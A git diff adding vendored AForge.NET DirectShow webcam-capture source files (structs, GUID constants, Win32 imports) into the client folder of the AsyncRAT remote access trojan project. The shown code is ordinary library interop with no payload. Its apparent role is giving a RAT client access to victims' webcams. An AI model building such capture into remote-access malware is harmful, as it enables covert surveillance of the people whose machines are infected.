/// </summary>
|
||||||
|
public short Planes;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Specifies the number of bits per pixel.
|
||||||
|
/// </summary>
|
||||||
|
public short BitCount;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// If the bitmap is compressed, this member is a <b>FOURCC</b> the specifies the compression.
|
||||||
|
/// </summary>
|
||||||
|
public int Compression;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Specifies the size, in bytes, of the image.
|
||||||
|
/// </summary>
|
||||||
|
public int ImageSize;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Specifies the horizontal resolution, in pixels per meter, of the target device for the bitmap.
|
||||||
|
/// </summary>
|
||||||
|
public int XPelsPerMeter;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Specifies the vertical resolution, in pixels per meter, of the target device for the bitmap.
|
||||||
|
/// </summary>
|
||||||
|
public int YPelsPerMeter;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Specifies the number of color indices in the color table that are actually used by the bitmap.
|
||||||
|
/// </summary>
|
||||||
|
public int ColorsUsed;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Specifies the number of color indices that are considered important for displaying the bitmap.
|
||||||
|
/// </summary>
|
||||||
|
public int ColorsImportant;
|
||||||
|
}
|
||||||
|
|
||||||
|
// RECT
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The structure defines the coordinates of the upper-left and lower-right corners of a rectangle.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
[ComVisible( false ),
|
||||||
|
StructLayout( LayoutKind.Sequential )]
|
||||||
|
internal struct RECT
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Specifies the x-coordinate of the upper-left corner of the rectangle.
|
||||||
|
/// </summary>
|
||||||
|
public int Left;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Specifies the y-coordinate of the upper-left corner of the rectangle.
|
||||||
|
/// </summary>
|
||||||
|
public int Top;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Specifies the x-coordinate of the lower-right corner of the rectangle.
|
||||||
|
/// </summary>
|
||||||
|
public int Right;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Specifies the y-coordinate of the lower-right corner of the rectangle.
|
||||||
|
/// </summary>
|
||||||
|
public int Bottom;
|
||||||
|
}
|
||||||
|
|
||||||
|
// CAUUID
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The CAUUID structure is a Counted Array of UUID or GUID types.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
[ComVisible( false ),
|
||||||
|
StructLayout( LayoutKind.Sequential )]
|
||||||
|
internal struct CAUUID
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Size of the array pointed to by <b>pElems</b>.
|
||||||
|
/// </summary>
|
||||||
|
public int cElems;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Pointer to an array of UUID values, each of which specifies UUID.
|
||||||
|
/// </summary>
|
||||||
|
public IntPtr pElems;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Performs manual marshaling of <b>pElems</b> to retrieve an array of Guid objects.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <returns>A managed representation of <b>pElems</b>.</returns>
|
||||||
|
///
|
||||||
|
public Guid[] ToGuidArray( )
|
||||||
|
{
|
||||||
|
Guid[] retval = new Guid[cElems];
|
||||||
|
|
||||||
|
for ( int i = 0; i < cElems; i++ )
|
||||||
|
{
|
||||||
|
IntPtr ptr = new IntPtr( pElems.ToInt64( ) + i * Marshal.SizeOf( typeof( Guid ) ) );
|
||||||
|
retval[i] = (Guid) Marshal.PtrToStructure( ptr, typeof( Guid ) );
|
||||||
|
}
|
||||||
|
|
||||||
|
return retval;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Enumeration of DirectShow event codes.
|
||||||
|
/// </summary>
|
||||||
|
internal enum DsEvCode
|
||||||
|
{
|
||||||
|
None,
|
||||||
|
Complete = 0x01, // EC_COMPLETE
|
||||||
|
DeviceLost = 0x1F, // EC_DEVICE_LOST
|
||||||
|
//(...) not yet interested in other events
|
||||||
|
}
|
||||||
|
|
||||||
|
[Flags, ComVisible( false )]
|
||||||
|
internal enum AnalogVideoStandard
|
||||||
|
{
|
||||||
|
None = 0x00000000, // This is a digital sensor
|
||||||
|
NTSC_M = 0x00000001, // 75 IRE Setup
|
||||||
|
NTSC_M_J = 0x00000002, // Japan, 0 IRE Setup
|
||||||
|
NTSC_433 = 0x00000004,
|
||||||
|
PAL_B = 0x00000010,
|
||||||
|
PAL_D = 0x00000020,
|
||||||
|
PAL_G = 0x00000040,
|
||||||
|
PAL_H = 0x00000080,
|
||||||
|
PAL_I = 0x00000100,
|
||||||
|
PAL_M = 0x00000200,
|
||||||
|
PAL_N = 0x00000400,
|
||||||
|
PAL_60 = 0x00000800,
|
||||||
|
SECAM_B = 0x00001000,
|
||||||
|
SECAM_D = 0x00002000,
|
||||||
|
SECAM_G = 0x00004000,
|
||||||
|
SECAM_H = 0x00008000,
|
||||||
|
SECAM_K = 0x00010000,
|
||||||
|
SECAM_K1 = 0x00020000,
|
||||||
|
SECAM_L = 0x00040000,
|
||||||
|
SECAM_L1 = 0x00080000,
|
||||||
|
PAL_N_COMBO = 0x00100000 // Argentina
|
||||||
|
}
|
||||||
|
|
||||||
|
[Flags, ComVisible( false )]
|
||||||
|
internal enum VideoControlFlags
|
||||||
|
{
|
||||||
|
FlipHorizontal = 0x0001,
|
||||||
|
FlipVertical = 0x0002,
|
||||||
|
ExternalTriggerEnable = 0x0004,
|
||||||
|
Trigger = 0x0008
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout( LayoutKind.Sequential ), ComVisible( false )]
|
||||||
|
internal class VideoStreamConfigCaps // VIDEO_STREAM_CONFIG_CAPS
|
||||||
|
{
|
||||||
|
public Guid Guid;
|
||||||
|
public AnalogVideoStandard VideoStandard;
|
||||||
|
public Size InputSize;
|
||||||
|
public Size MinCroppingSize;
|
||||||
|
public Size MaxCroppingSize;
|
||||||
|
public int CropGranularityX;
|
||||||
|
public int CropGranularityY;
|
||||||
|
public int CropAlignX;
|
||||||
|
public int CropAlignY;
|
||||||
|
public Size MinOutputSize;
|
||||||
|
public Size MaxOutputSize;
|
||||||
|
public int OutputGranularityX;
|
||||||
|
public int OutputGranularityY;
|
||||||
|
public int StretchTapsX;
|
||||||
|
public int StretchTapsY;
|
||||||
|
public int ShrinkTapsX;
|
||||||
|
public int ShrinkTapsY;
|
||||||
|
public long MinFrameInterval;
|
||||||
|
public long MaxFrameInterval;
|
||||||
|
public int MinBitsPerSecond;
|
||||||
|
public int MaxBitsPerSecond;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Specifies a filter's state or the state of the filter graph.
|
||||||
|
/// </summary>
|
||||||
|
internal enum FilterState
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Stopped. The filter is not processing data.
|
||||||
|
/// </summary>
|
||||||
|
State_Stopped,
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Paused. The filter is processing data, but not rendering it.
|
||||||
|
/// </summary>
|
||||||
|
State_Paused,
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Running. The filter is processing and rendering data.
|
||||||
|
/// </summary>
|
||||||
|
State_Running
|
||||||
|
}
|
||||||
|
}
|
299
AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Uuids.cs
Normal file
299
AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Uuids.cs
Normal file
@ -0,0 +1,299 @@
|
|||||||
|
// AForge Direct Show Library
|
||||||
|
// AForge.NET framework
|
||||||
|
// http://www.aforgenet.com/framework/
|
||||||
|
//
|
||||||
|
// Copyright © AForge.NET, 2009-2013
|
||||||
|
// contacts@aforgenet.com
|
||||||
|
//
|
||||||
|
|
||||||
|
namespace AForge.Video.DirectShow.Internals
|
||||||
|
{
|
||||||
|
using System;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// DirectShow class IDs.
|
||||||
|
/// </summary>
|
||||||
|
[ComVisible( false )]
|
||||||
|
static internal class Clsid
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// System device enumerator.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <remarks>Equals to CLSID_SystemDeviceEnum.</remarks>
|
||||||
|
///
|
||||||
|
public static readonly Guid SystemDeviceEnum =
|
||||||
|
new Guid( 0x62BE5D10, 0x60EB, 0x11D0, 0xBD, 0x3B, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Filter graph.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <remarks>Equals to CLSID_FilterGraph.</remarks>
|
||||||
|
///
|
||||||
|
public static readonly Guid FilterGraph =
|
||||||
|
new Guid( 0xE436EBB3, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Sample grabber.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <remarks>Equals to CLSID_SampleGrabber.</remarks>
|
||||||
|
///
|
||||||
|
public static readonly Guid SampleGrabber =
|
||||||
|
new Guid( 0xC1F400A0, 0x3F08, 0x11D3, 0x9F, 0x0B, 0x00, 0x60, 0x08, 0x03, 0x9E, 0x37 );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Capture graph builder.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <remarks>Equals to CLSID_CaptureGraphBuilder2.</remarks>
|
||||||
|
///
|
||||||
|
public static readonly Guid CaptureGraphBuilder2 =
|
||||||
|
new Guid( 0xBF87B6E1, 0x8C27, 0x11D0, 0xB3, 0xF0, 0x00, 0xAA, 0x00, 0x37, 0x61, 0xC5 );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Async reader.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <remarks>Equals to CLSID_AsyncReader.</remarks>
|
||||||
|
///
|
||||||
|
public static readonly Guid AsyncReader =
|
||||||
|
new Guid( 0xE436EBB5, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// DirectShow format types.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
[ComVisible( false )]
|
||||||
|
static internal class FormatType
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// VideoInfo.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <remarks>Equals to FORMAT_VideoInfo.</remarks>
|
||||||
|
///
|
||||||
|
public static readonly Guid VideoInfo =
|
||||||
|
new Guid( 0x05589F80, 0xC356, 0x11CE, 0xBF, 0x01, 0x00, 0xAA, 0x00, 0x55, 0x59, 0x5A );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// VideoInfo2.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <remarks>Equals to FORMAT_VideoInfo2.</remarks>
|
||||||
|
///
|
||||||
|
public static readonly Guid VideoInfo2 =
|
||||||
|
new Guid( 0xf72A76A0, 0xEB0A, 0x11D0, 0xAC, 0xE4, 0x00, 0x00, 0xC0, 0xCC, 0x16, 0xBA );
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// DirectShow media types.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
[ComVisible( false )]
|
||||||
|
static internal class MediaType
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Video.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <remarks>Equals to MEDIATYPE_Video.</remarks>
|
||||||
|
///
|
||||||
|
public static readonly Guid Video =
|
||||||
|
new Guid( 0x73646976, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Interleaved. Used by Digital Video (DV).
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <remarks>Equals to MEDIATYPE_Interleaved.</remarks>
|
||||||
|
///
|
||||||
|
public static readonly Guid Interleaved =
|
||||||
|
new Guid( 0x73766169, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Audio.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <remarks>Equals to MEDIATYPE_Audio.</remarks>
|
||||||
|
///
|
||||||
|
public static readonly Guid Audio =
|
||||||
|
new Guid( 0x73647561, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Text.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <remarks>Equals to MEDIATYPE_Text.</remarks>
|
||||||
|
///
|
||||||
|
public static readonly Guid Text =
|
||||||
|
new Guid( 0x73747874, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Byte stream with no time stamps.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <remarks>Equals to MEDIATYPE_Stream.</remarks>
|
||||||
|
///
|
||||||
|
public static readonly Guid Stream =
|
||||||
|
new Guid( 0xE436EB83, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// DirectShow media subtypes.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
[ComVisible( false )]
|
||||||
|
static internal class MediaSubType
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// YUY2 (packed 4:2:2).
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <remarks>Equals to MEDIASUBTYPE_YUYV.</remarks>
|
||||||
|
///
|
||||||
|
public static readonly Guid YUYV =
|
||||||
|
new Guid( 0x56595559, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// IYUV.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <remarks>Equals to MEDIASUBTYPE_IYUV.</remarks>
|
||||||
|
///
|
||||||
|
public static readonly Guid IYUV =
|
||||||
|
new Guid( 0x56555949, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// A DV encoding format. (FOURCC 'DVSD')
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <remarks>Equals to MEDIASUBTYPE_DVSD.</remarks>
|
||||||
|
///
|
||||||
|
public static readonly Guid DVSD =
|
||||||
|
new Guid( 0x44535644, 0x0000, 0x0010, 0x80, 0x00, 0x00, 0xAA, 0x00, 0x38, 0x9B, 0x71 );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// RGB, 1 bit per pixel (bpp), palettized.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <remarks>Equals to MEDIASUBTYPE_RGB1.</remarks>
|
||||||
|
///
|
||||||
|
public static readonly Guid RGB1 =
|
||||||
|
new Guid( 0xE436EB78, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// RGB, 4 bpp, palettized.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <remarks>Equals to MEDIASUBTYPE_RGB4.</remarks>
|
||||||
|
///
|
||||||
|
public static readonly Guid RGB4 =
|
||||||
|
new Guid( 0xE436EB79, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// RGB, 8 bpp.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <remarks>Equals to MEDIASUBTYPE_RGB8.</remarks>
|
||||||
|
///
|
||||||
|
public static readonly Guid RGB8 =
|
||||||
|
new Guid( 0xE436EB7A, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// RGB 565, 16 bpp.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <remarks>Equals to MEDIASUBTYPE_RGB565.</remarks>
|
||||||
|
///
|
||||||
|
public static readonly Guid RGB565 =
|
||||||
|
new Guid( 0xE436EB7B, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// RGB 555, 16 bpp.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <remarks>Equals to MEDIASUBTYPE_RGB555.</remarks>
|
||||||
|
///
|
||||||
|
public static readonly Guid RGB555 =
|
||||||
|
new Guid( 0xE436EB7C, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// RGB, 24 bpp.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <remarks>Equals to MEDIASUBTYPE_RGB24.</remarks>
|
||||||
|
///
|
||||||
|
public static readonly Guid RGB24 =
|
||||||
|
new Guid( 0xE436Eb7D, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// RGB, 32 bpp, no alpha channel.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <remarks>Equals to MEDIASUBTYPE_RGB32.</remarks>
|
||||||
|
///
|
||||||
|
public static readonly Guid RGB32 =
|
||||||
|
new Guid( 0xE436EB7E, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Data from AVI file.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <remarks>Equals to MEDIASUBTYPE_Avi.</remarks>
|
||||||
|
///
|
||||||
|
public static readonly Guid Avi =
|
||||||
|
new Guid( 0xE436EB88, 0x524F, 0x11CE, 0x9F, 0x53, 0x00, 0x20, 0xAF, 0x0B, 0xA7, 0x70 );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Advanced Streaming Format (ASF).
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <remarks>Equals to MEDIASUBTYPE_Asf.</remarks>
|
||||||
|
///
|
||||||
|
public static readonly Guid Asf =
|
||||||
|
new Guid( 0x3DB80F90, 0x9412, 0x11D1, 0xAD, 0xED, 0x00, 0x00, 0xF8, 0x75, 0x4B, 0x99 );
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// DirectShow pin categories.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
[ComVisible( false )]
|
||||||
|
static internal class PinCategory
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Capture pin.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <remarks>Equals to PIN_CATEGORY_CAPTURE.</remarks>
|
||||||
|
///
|
||||||
|
public static readonly Guid Capture =
|
||||||
|
new Guid( 0xFB6C4281, 0x0353, 0x11D1, 0x90, 0x5F, 0x00, 0x00, 0xC0, 0xCC, 0x16, 0xBA );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Still image pin.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <remarks>Equals to PIN_CATEGORY_STILL.</remarks>
|
||||||
|
///
|
||||||
|
public static readonly Guid StillImage =
|
||||||
|
new Guid( 0xFB6C428A, 0x0353, 0x11D1, 0x90, 0x5F, 0x00, 0x00, 0xC0, 0xCC, 0x16, 0xBA );
|
||||||
|
}
|
||||||
|
|
||||||
|
// Below GUIDs are used by ICaptureGraphBuilder::FindInterface().
|
||||||
|
[ComVisible( false )]
|
||||||
|
static internal class FindDirection
|
||||||
|
{
|
||||||
|
/// <summary>Equals to LOOK_UPSTREAM_ONLY.</summary>
|
||||||
|
public static readonly Guid UpstreamOnly =
|
||||||
|
new Guid( 0xAC798BE0, 0x98E3, 0x11D1, 0xB3, 0xF1, 0x00, 0xAA, 0x00, 0x37, 0x61, 0xC5 );
|
||||||
|
|
||||||
|
/// <summary>Equals to LOOK_DOWNSTREAM_ONLY.</summary>
|
||||||
|
public static readonly Guid DownstreamOnly =
|
||||||
|
new Guid( 0xAC798BE1, 0x98E3, 0x11D1, 0xB3, 0xF1, 0x00, 0xAA, 0x00, 0x37, 0x61, 0xC5 );
|
||||||
|
}
|
||||||
|
}
|
102
AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Win32.cs
Normal file
102
AsyncRAT-C#/Client/AForge/Video.DirectShow/Internals/Win32.cs
Normal file
@ -0,0 +1,102 @@
|
|||||||
|
// AForge Video for Windows Library
|
||||||
|
// AForge.NET framework
|
||||||
|
// http://www.aforgenet.com/framework/
|
||||||
|
//
|
||||||
|
// Copyright © AForge.NET, 2007-2011
|
||||||
|
// contacts@aforgenet.com
|
||||||
|
//
|
||||||
|
|
||||||
|
namespace AForge.Video.DirectShow.Internals
|
||||||
|
{
|
||||||
|
using System;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
using System.Runtime.InteropServices.ComTypes;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Some Win32 API used internally.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
internal static class Win32
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Supplies a pointer to an implementation of <b>IBindCtx</b> (a bind context object).
|
||||||
|
/// This object stores information about a particular moniker-binding operation.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="reserved">Reserved for future use; must be zero.</param>
|
||||||
|
/// <param name="ppbc">Address of <b>IBindCtx*</b> pointer variable that receives the
|
||||||
|
/// interface pointer to the new bind context object.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Returns <b>S_OK</b> on success.</returns>
|
||||||
|
///
|
||||||
|
[DllImport( "ole32.dll" )]
|
||||||
|
public static extern
|
||||||
|
int CreateBindCtx( int reserved, out IBindCtx ppbc );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Converts a string into a moniker that identifies the object named by the string.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="pbc">Pointer to the IBindCtx interface on the bind context object to be used in this binding operation.</param>
|
||||||
|
/// <param name="szUserName">Pointer to a zero-terminated wide character string containing the display name to be parsed. </param>
|
||||||
|
/// <param name="pchEaten">Pointer to the number of characters of szUserName that were consumed.</param>
|
||||||
|
/// <param name="ppmk">Address of <b>IMoniker*</b> pointer variable that receives the interface pointer
|
||||||
|
/// to the moniker that was built from <b>szUserName</b>.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Returns <b>S_OK</b> on success.</returns>
|
||||||
|
///
|
||||||
|
[DllImport( "ole32.dll", CharSet = CharSet.Unicode )]
|
||||||
|
public static extern
|
||||||
|
int MkParseDisplayName( IBindCtx pbc, string szUserName,
|
||||||
|
ref int pchEaten, out IMoniker ppmk );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Copy a block of memory.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="dst">Destination pointer.</param>
|
||||||
|
/// <param name="src">Source pointer.</param>
|
||||||
|
/// <param name="count">Memory block's length to copy.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Return's the value of <b>dst</b> - pointer to destination.</returns>
|
||||||
|
///
|
||||||
|
[DllImport( "ntdll.dll", CallingConvention = CallingConvention.Cdecl )]
|
||||||
|
public static unsafe extern int memcpy(
|
||||||
|
byte* dst,
|
||||||
|
byte* src,
|
||||||
|
int count );
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Invokes a new property frame, that is, a property sheet dialog box.
|
||||||
|
/// </summary>
|
||||||
|
///
|
||||||
|
/// <param name="hwndOwner">Parent window of property sheet dialog box.</param>
|
||||||
|
/// <param name="x">Horizontal position for dialog box.</param>
|
||||||
|
/// <param name="y">Vertical position for dialog box.</param>
|
||||||
|
/// <param name="caption">Dialog box caption.</param>
|
||||||
|
/// <param name="cObjects">Number of object pointers in <b>ppUnk</b>.</param>
|
||||||
|
/// <param name="ppUnk">Pointer to the objects for property sheet.</param>
|
||||||
|
/// <param name="cPages">Number of property pages in <b>lpPageClsID</b>.</param>
|
||||||
|
/// <param name="lpPageClsID">Array of CLSIDs for each property page.</param>
|
||||||
|
/// <param name="lcid">Locale identifier for property sheet locale.</param>
|
||||||
|
/// <param name="dwReserved">Reserved.</param>
|
||||||
|
/// <param name="lpvReserved">Reserved.</param>
|
||||||
|
///
|
||||||
|
/// <returns>Returns <b>S_OK</b> on success.</returns>
|
||||||
|
///
|
||||||
|
[DllImport( "oleaut32.dll" )]
|
||||||
|
public static extern int OleCreatePropertyFrame(
|
||||||
|
IntPtr hwndOwner,
|
||||||
|
int x,
|
||||||
|
int y,
|
||||||
|
[MarshalAs( UnmanagedType.LPWStr )] string caption,
|
||||||
|
int cObjects,
|
||||||
|
[MarshalAs( UnmanagedType.Interface, ArraySubType = UnmanagedType.IUnknown )]
|
||||||
|
ref object ppUnk,
|
||||||
|
int cPages,
|
||||||
|
IntPtr lpPageClsID,
|
||||||
|
int lcid,
|
||||||
|
int dwReserved,
|
||||||
|
IntPtr lpvReserved );
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,123 @@
|
|||||||
|
// AForge Direct Show Library
|
||||||
|
// AForge.NET framework
|
||||||
|
// http://www.aforgenet.com/framework/
|
||||||
|
//
|
||||||
|
// Copyright © AForge.NET, 2009-2012
|
||||||
|
// contacts@aforgenet.com
|
||||||
|
//
|
||||||
|
|
||||||
|
namespace AForge.Video.DirectShow
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Specifies the physical type of pin (audio or video).
|
||||||
|
/// </summary>
|
||||||
|
public enum PhysicalConnectorType
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Default value of connection type. Physically it does not exist, but just either to specify that
|
||||||
|
/// connection type should not be changed (input) or was not determined (output).
|
||||||
|
/// </summary>
|
||||||
|
Default = 0,
|
||||||
|
/// <summary>
|
||||||
|
/// Specifies a tuner pin for video.
|
||||||
|
/// </summary>
|
||||||
|
VideoTuner = 1,
|
||||||
|
/// <summary>
|
||||||
|
/// Specifies a composite pin for video.
|
||||||
|
/// </summary>
|
||||||
|
VideoComposite,
|
||||||
|
/// <summary>
|
||||||
|
/// Specifies an S-Video (Y/C video) pin.
|
||||||
|
/// </summary>
|
||||||
|
VideoSVideo,
|
||||||
|
/// <summary>
|
||||||
|
/// Specifies an RGB pin for video.
|
||||||
|
/// </summary>
|
||||||
|
VideoRGB,
|
||||||
|
/// <summary>
|
||||||
|
/// Specifies a YRYBY (Y, R–Y, B–Y) pin for video.
|
||||||
|
/// </summary>
|
||||||
|
VideoYRYBY,
|
||||||
|
/// <summary>
|
||||||
|
/// Specifies a serial digital pin for video.
|
||||||
|
/// </summary>
|
||||||
|
VideoSerialDigital,
|
||||||
|
/// <summary>
|
||||||
|
/// Specifies a parallel digital pin for video.
|
||||||
|
/// </summary>
|
||||||
|
VideoParallelDigital,
|
||||||
|
/// <summary>
|
||||||
|
/// Specifies a SCSI (Small Computer System Interface) pin for video.
|
||||||
|
/// </summary>
|
||||||
|
VideoSCSI,
|
||||||
|
/// <summary>
|
||||||
|
/// Specifies an AUX (auxiliary) pin for video.
|
||||||
|
/// </summary>
|
||||||
|
VideoAUX,
|
||||||
|
/// <summary>
|
||||||
|
/// Specifies an IEEE 1394 pin for video.
|
||||||
|
/// </summary>
|
||||||
|
Video1394,
|
||||||
|
/// <summary>
|
||||||
|
/// Specifies a USB (Universal Serial Bus) pin for video.
|
||||||
|
/// </summary>
|
||||||
|
VideoUSB,
|
||||||
|
/// <summary>
|
||||||
|
/// Specifies a video decoder pin.
|
||||||
|
/// </summary>
|
||||||
|
VideoDecoder,
|
||||||
|
/// <summary>
|
||||||
|
/// Specifies a video encoder pin.
|
||||||
|
/// </summary>
|
||||||
|
VideoEncoder,
|
||||||
|
/// <summary>
|
||||||
|
/// Specifies a SCART (Peritel) pin for video.
|
||||||
|
/// </summary>
|
||||||
|
VideoSCART,
|
||||||
|
/// <summary>
|
||||||
|
/// Not used.
|
||||||
|
/// </summary>
|
||||||
|
VideoBlack,
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Specifies a tuner pin for audio.
|
||||||
|
/// </summary>
|
||||||
|
AudioTuner = 4096,
|
||||||
|
/// <summary>
|
||||||
|
